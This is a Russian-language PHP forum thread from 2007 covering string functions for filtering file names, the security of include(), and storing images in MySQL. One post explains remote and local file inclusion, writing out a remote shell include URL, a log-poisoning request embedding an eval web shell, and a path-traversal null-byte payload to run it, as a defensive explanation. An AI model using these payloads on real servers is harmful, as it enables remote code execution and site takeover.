Все-таки фраза "тупое отрезание" очень хорошо характеризует substr().Да, медленней, и не тупого отрезания а копирования, причем у тебя не просто поиск вхождения(вхождение уже нам известно зачем искать, вот в чем вопрос) но еще и замена.
Вопросы по PHP
#42
Отправлено 03.03.2007, 04:58:30
Как думаешь что будет если в папке будет файл leviy.file.inc.php.bak
Я думаю strpos не вернет false
Еще раз говорю зачем искать вхождение, когда и так известно inc.php на конце файла, бери и сравнивай.
Кстати если ввести strpos думаю время теста до 5 сек поднимается)
Вобщем мне надоело спорить, тесты показали, использование substr быстрей str_replace, плюс эффективно решают поставленную задачу(отсев левых файлов, вывод контента) и все это одним циклом.
Что-то я сегодня много поработал, простые вещи не замечаю)))
Удачи
#45
Отправлено 28.03.2007, 00:05:26
------ Про сканирование папки ------
Нужно делать один цикл WHILE, где внутри будет с помощью регулярных выражений проверяться каждое вхождение, также будут заносистья эти вхождения куда-ньть, можно в массив или файл.
#47
Отправлено 28.03.2007, 13:44:24
Я думаю, сначала нужно прогнать через все защиты свой скрипт и поставить его на сервере, потом нужно просто включить (include) любой главный файл сайта свой скрипт, вуаля - доступ получен. Конечно, я такие махинации предупрждаю обычно вставкой вверху во всех скриптах проверки, например на имя файла, в котором подключенный скрипт будет работать, ещё проверка на существование определённых констант.Кто-нибудь знаком с проблемой инклюда более детально? Как ее используют для взлома?
Вот пример, который надо вписывать вверху всех подключаемых скриптов:
if ( !defined('SECRET_CONSTANT') OR SECRET_CONSTANT !== 'secret_constant_value' OR basename(__FILE__) != 'main_file.php' ) { exit('F CK YOU B TCH'); }
Возможно будет ошибкой подключать какие нибудь HTML файлы, таким образом:
<body> <?php include('main_menu.html'); ?> <textarea> <?php include('license.txt'); ?> </textarea> </body>
ведь эти файлы могут оказаться не тем, что мы думаем.
#48
Отправлено 28.03.2007, 23:16:24
Часто вижу предупреждения о нежелательности использования функции include. Поскольку ее наличае может повлечь легкий взлом сайта. Кто-нибудь знаком с проблемой инклюда более детально? Как ее используют для взлома?
Интересно где такие предупреждения пишут?
Сама по себе функция не опасна если ее применять прямыми руками.
Уязвимости связанные с include целиком вина ошибки разработчика, основная опасность это попадание сторонних данных которые клиент может передать в HTTP запросе, учитывая возможность PHP подключать удаленные файлы(можно отключить в конфигурации) в include, можно выполнить любой PHP код на стороне сервере, однако локальный инклюд не менее опасен.
Вот несколько примеров
1. скрипт
include("$pagename.php");
Изначальная задумка состоит в том чтобы подгружать необходимую страницу расположенную на сервере в зависимости от параметра $pagename
Но никто не мешает передать в $pagename допустим http://remote.com/shell.txt?
Это называется удаленный инклюд.
2. скрипт
include("./$pagename.php");
Удаленному инклюду мешает наличие ./ в начале строки
Но опять же есть много вариантов записи текста на сервер в какой либо файл, и ничто не мешает использовать это в качестве записи вебшелла, все зависит от фантазии, вот один из рабочих сценариев
Злоумышленник проходит по недействительной сыллке
http://host.com/<?eval($_GET['eval']);?>
В результате чего вызывает запись в error.log, который позже можно заинклюдить и делать все что вздумается.
script.php?pagename=../../../../../usr/local/apache/logs/error.log%00&eval=phpinfo();
Это называется локальный инклюд.
Из этого следует вывод: Не передавать в include параметры которые могут быть изменены удаленным пользователем, если их все же приходится передавать то максимально контролировать (preg_match).
#51
Отправлено 20.04.2007, 10:22:14
Кто пробовал графические файлы в базу загонять?
На основании найденного примера набросал код:
if(isset($_FILES['image'])) { // Если файл пришел, проферяем насколько он графический. ) if(substr($_FILES['image']['type'], 0, 5)=='image') { // Читаем содержимое файла $image=file_get_contents($_FILES['image']['tmp_name']); //Экранируем спец символы $image2=mysql_escape_string($image); } } $dbh->query("INSERT INTO ".TABLE_pic." (name, pic) VALUES ('$name', '$image2')"); }Но чего-то не работает. (
Кто знает подскажите где ошибка.
#53
Отправлено 20.04.2007, 12:56:49
TINYBLOB - Может хранить до 255 байтА какое поле ты используешь для хранения картинки?
Для хранения таких данных используют Blob-поля.
BLOB может хранить до 64 килобайт информации
MEDIUMBLOB - до 16 мегабайт
LONGBLOB до 4 гигабайт
Я поставил mediumblob на случай войны. Но ноги еррора похоже растут из другого места... ;
#56
Отправлено 20.04.2007, 16:44:53
Огромное тебе спасибо.Данная ошибка вылетает, когда не создан объект, скорее всего подключен класс для работы с БД, но объект не инициализирован. Такое ощющение, что $dbh не создана как класс
О Боги, даруйте мне внимательность! )
Сообщение отредактировал p@R@dOx...: 20.04.2007, 16:46:17
#57
Отправлено 20.04.2007, 18:33:02
В любом случае скорость чтения с файловой системы будет быстрее, чем из sql таблицы! Сохраните в базе имя, или индекс картинки, а она пусть на винте лежит. Всё надежнее будет.
#58
Отправлено 20.04.2007, 18:58:29
Народ, скажите, на кой ляд нужно в базе хранить картинки??? Вы собираетесь like '%sex%' делать?
В любом случае скорость чтения с файловой системы будет быстрее, чем из sql таблицы! Сохраните в базе имя, или индекс картинки, а она пусть на винте лежит. Всё надежнее будет.
А почему скорость выше вне базы? База ведь тоже часть файловой системы....ну или разница будет уж совсем ничтожной...Есть материалы почитать на эту тему или тесты какие-нить?
#60
Отправлено 21.04.2007, 12:32:57
Если не рассматривать всякие маркетинговые навороты, где дешевле товар купить? У производителя или у перепродавца? Так вот, mysql в данном случае выступает в роли перепродавца, при этом ни дает ни какой дополнительный сервис.А почему скорость выше вне базы? База ведь тоже часть файловой системы....ну или разница будет уж совсем ничтожной...Есть материалы почитать на эту тему или тесты какие-нить?
Количество пользователей, читающих эту тему: 1
пользователей: 0, неизвестных прохожих: 1, скрытых пользователей: 0